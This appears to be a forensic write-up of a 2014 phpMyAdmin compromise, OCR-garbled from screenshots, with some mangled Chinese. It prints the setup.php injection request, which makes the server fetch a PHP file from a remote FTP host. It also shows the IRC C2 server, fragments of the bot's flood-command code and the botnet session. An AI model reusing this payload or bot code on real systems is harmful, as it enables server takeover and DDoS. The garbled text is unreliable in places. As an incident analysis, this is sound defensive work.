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A, B AW A REREAB DR T ) B8 netstat 45 4 # 4 port 80 F

B kx> process ID % httpd -

tep
tcp
tcp
tcp
tcp

0.0.0.0:22 0.0.0.0:* LISTEN 1049/sshd
0.0.0.0:3306 0.0.0.0:* LISTEN 1248/mysgld
::80 ook LISTEN 1350/httpd
22 ok LISTEN 1049/sshd
23 ook LISTEN 1057/xinetd
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http://163. X. X. 43/phpMyAdmin/scripts/setup. php ¢ #1337 3 &k



http://163.x.x.43/phpMyAdmin/scripts/setup.php

phpMyAdmin 2.11.7 setup a

Welcome

You want to configure phipMy Admin using web interface. Please note that this oaly allows basic setup, please read 1o see full description of all
directives.

A Can not load or save configuration
" Please create web server writable folder config in phpMy Admin toplevel directory as described in documentation. Otherwise you will be anly able to download or display it

Not secure

4 You are not using secure connection, all data (including sensitive, like passwords) are transfered unencrypted! If your server is also configured to accept HITPS request follow
this link to use secure connection.

Available global actions (please note that these will delete any changes you could have done above):
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D. weg a575 IPda & R%® httpd 2582 #h % [P = port
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Rtk ds Listen ek fi 4 & % o

tcp 163.X.X.43:40084 89.248.172.240:6667  ESTABLISHED  1365/httpd
E. 54 & #403% IP 89.248. 172,240 =3t = & ff -
F. iiplgrendte @ @ F AR E BB i 093.174.93. 149 » 4
%% 34 163.X. X. 43 eni F /R iF /phpMyAdmin/scripts/setup. php &
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NetWitness Reconstruction for session ID: 2336 ( Source 93.174.93.149 : 38978, Target 163.

Time11/11/201416:5329t011/11/2014 18:53:50 Packet Size 1,283 bytes Payload Size 679 bytes
P_rpt()(ol 2048/6/80 Flags Keep Assembled AppMeta NetworkMeta Packet Count 9

E POST /phpMyAdmin/scripts/setup.php HITP/1.1 A
Q Keep-Alive: 300 S
u Connection: Keep-Alive i
© | Host: 163 43 g
S Referer: http://163 .43/ phpMyAdmin/scripts/setup.php
T User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7. S

01 [en]

Content-Type: application/x-www-form-urlencoded

Cookie: pma_fontsize=82%25; pmaCookieVer=4; phpMyAdmin=hd50d72utgquric25hpvegal 3ms

och3sr

Cookie2: $Version="1"

Content-Length: 240

action=lay_navigationkeoltype=unix&token=e65ff23bfb07cb0d90f6b0d430d044ad&contfign

ration=a%3A1%3A%TB1%3A0%3BORIAL 053 A% 2 2PMA%SFCont i g%22%3A1%3 A% TBs %3 46%34%2 2 source®

22%3Bs%3A31T3AT221 t pR3AT2FH2F3T%2ESO%2 E68T2E1 2%2F pub®2Fcol 4d%2Ephp%2 2%3B% 7D% 7D v
£ >
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configuration=a:1:{1:0;0:10:"PMA_Config"

:31:" ftp://37.59. 68. 12/pub/col4d. php" ; } } °
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7 & % 423% coldd. php °

¥ A3 37.59.68. 12 crdt & f5 % > H)
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anonymous * ¥ F § & o 5
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col4d. php eh &
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~Stream Content

220 (vsFTPd 2.2.2)

USER anonymous

331 Please specify the password.
PASS anonymous -

230 Login successful.

TYPE I

200 svritch‘in_cl; to Binary mode.
SIZE /pub/col4d. php

213 35322

EPSV

229 Entering Extended Passive mode (||[|32742]).

ERRYTRE

RETR /pub/col4d. php

QUIT

150 opening BINARY mode data connection for| /pub/col4d.php (35322 bytes).

226 Transfer complete.
221 coodbye.

Entire conversation (375 bytes) w
Find Save Az Brint (®) ASCO () EBCDIC () Hex Dump ) C Arrays ) Raw
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port s %7 %% A #FEF 0 K& IP = 89, 248, 172, 240 ¢ port

6667 i& {7 IRC 37 33 & -

1 <?php
- %$cfg = array
"server" [=> "89.248.172.240",
. "port" =} "6667",
3 "key" => "F"

"prefix" => "XTR",
"maxrand"” => "8",
"chan" => "#anuz",
. "trigger" => ".",
10 "hostauth” => "localhost"

6. 'gut2 hinARstan Y A # T E 4y £ st iR IRC server

89.248.172.240 7 £/ £ i€ & Z e 442k g & 7<% > 4o UDP_flood

& HTTP_flood % -

1 case "udpflood":
if (count(smemd) > ) {
sthis->udpflood($memd[1], $memd(2], smemd[3], $memd[4]);
3 }
- break;
- case "httpflood™
if (count(smemd) > 2) {
sthis->httpflood($memd[1], smemd[z2], $memd|3]);
. }else{
10 $this->privmsg(sthis->config['chan'], "syntax: httpflood host port time [method] [url]");
}
break;
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NetWitness Reconstruction for session ID- 23213 ( Source 163 43 - 53843, Target 178.175.159.34 - 80

Time11/12/2014 0:4604to11/12/2014047:08 PacketSize 12,833 bytes Payload Size 11,329 bytes
Protocol 2048/6/80 Flags Keep Assembled AppMeta NetworkMeta Packet Count 24

GET / HTTP/1.1 A
Host: corepillar.com

Keep-Alive: 300

Connection: keep-alive

User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.

4; InfoPath.2; SV1; .NET (IR 3.3.69573; WOW64; en-US)

HTTP/1.1 200 OK

Server: nginx

Date: Tue, 11 Nov 2014 16:45:53 GMT

Content-Type: text/html

Content-Length: 1611 Vv
Connection: keep-alive

2. F ¥ B fFc Thttp://corepillar.com/ ; - % Instagram APP #4p B
ferp o Pt * AR 3% APP ehFollowers fr Likes #cp > #iv &

Facebook t g Bk friesfflicp » * AR FHF LA F DL F -

P~ ¢ || @ corepillar-Buy real Instagr...

BUY INSTAGRAM FOLLOWERS ~ BUY INSTAGRAM LIKES =~ BUY INSTAGRAM COMMENTS BLOG CONTACT

1

Buy Real Instagram Followers g

Buy Cheap Instagram Likes o4

x BUY REAL LOOKING INSTAGRAM FOLLOWERS

r BUY ARAB INSTAGRAM FOLLOWERS

x BUY REAL & ACTIVE INSTAGRAM FOLLOWERS -

x BUY REAL LOOKING INSTAGRAM LIKES -_
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NetWitness Reconstruction for session ID: 546 ( Source 163 .43 : 58141, Target 168.235.149.225 :80)

Time 11/11/201417:33:22t011/11/2014 17:33:23 Packet Size 1,202 bytes Payload Size 394 bytes
Protocol 2048/6/80 Flags Keep Assembled AppMeta NetworkMeta Packet Count 12

Host: fresgeoip.net

“—uvmcpom=

HTTP/1.0 200 OK

Access-Control-Allow-Origin: *
Content-Type: application/json
Date: Tue, 11 Nov 2014 09:33:16 GMT
Content-Length: 209

{"ip"."163. 43" "country_code":"TW","country_name":"Taiwan","region_code":"0
3" "region_name":"T'ai-pei","city":"Taipei","zipcode":"","latitude":25.0392," long
itude":121.525,"metro_code":"","area_code":""}

mwzo©wm=o

4. 7+ ®kx Thttp://freegeoip.net | # Mz F chport 80 /29 F <

o e F oG miE T B Eg NI HITP 503 e 4 -

& htip //freegeoip net/ D - & | 2 503 Service Temporarily .. *

503 Service Temporarily Unavailable

cloudflare-nginx

[ wdste et? 20 IRCIBRAR - 77 SR Edpe 2 §F IP =
a 789.248.172. 240, shport 6667 » 4+ 5 IRC & » crfp b T30 - 3F ¢

PP R ElE s ID~ E 2 e RIR B A PING PONG w /& % Bor - 1P

Stream Content-

USER XTR79018444 127.0.0.1 localhost :Linux = == ~ w.edu.tw 2.6.32-358.e16.x86_64
#1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 FAID

NICK [Tw][LINUX][A]XTR81068108

:IRC.XTREME.org NOTICE AUTH :*** Looking up Kgur hostname. . .

:IRC.XT;(E)MS}OSQ NOTICE AUTH :*** Found your hostname (cached)

PING :F90B97B e "

PONG :F90B97B0 i) - K

ERROR :Closing Link: [Tw][LINUX][A]XTR81068108[w v v we = edu.tw] (Too many
'connectwns from your IP) e A ks

J.%waH? - L IRC:&7 Mg FI4p M T30 > bl4e IRC server + mF 0
users ~ operators #p % - ¥ 12 %’gt“ %575 29067 S A ZE AT

o 3 - IRC L4 -



NetWitness Reconstruction for session ID: 23600 ( Source 163, 43 - 34695, Target 89.248.172.240 - 6667 )|

Time11/11/201416:5338to11/12/2014 4:48:56 Calculated Packet Size 387,489 bytes Calculated Payload Size 104,597 bytes
Protocol 2048/6/6667 Flags Keep Assembled AppMeta NetworkMeta Packet Count 4,286

:IRC.XTREME.org 005 [TW][LINUX][A]XTR14964091 STATUSMSG=~&@%+ EXCEPTS INVEX :are
supported by this server A
:IRC.XTREME.org 251 [TW][LINUX][A]XTR14964091 :There are 1 users and 29067 invisi
ble on 1 servers
:IRC.XTREME.org 252 [TW][LINUX][A]XTR14964091 1 :operator(s) online R
:IRC.XTREME.org 253 [TW][LINUX][A]XTR14964091 236 :unknown connection(s) E
:IRC.XTREME.org 254 [TW][LINUX][A]XTR14964091 15 :channels formed S
:IRC.XTREME.org 255 [TW][LINUX][A]XTR14964091 :I have 29068 clients and 0 servers P
(6]
:IRC.XTREME.org 265 [TW][LINUX][A]XTR14964091 29068 29904 :Current local users 29 N
068, max 29904 S
:IRC.XTREME.org 266 [TW][LINUX][A]XTR14964091 29068 29904 :Current global users 2 E
0068, max 29904
:IRC.XTREME.org 422 [TW][LINUX][A]XTR14964091 :MOTD File is missing
([TWI[LINUX][A]XTR14964091 MODE [TW][LINUX][AIXTR14964091 :+ix v
Y FR AR
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163.X.X.43 & wait command  89.248.172.240

Victims
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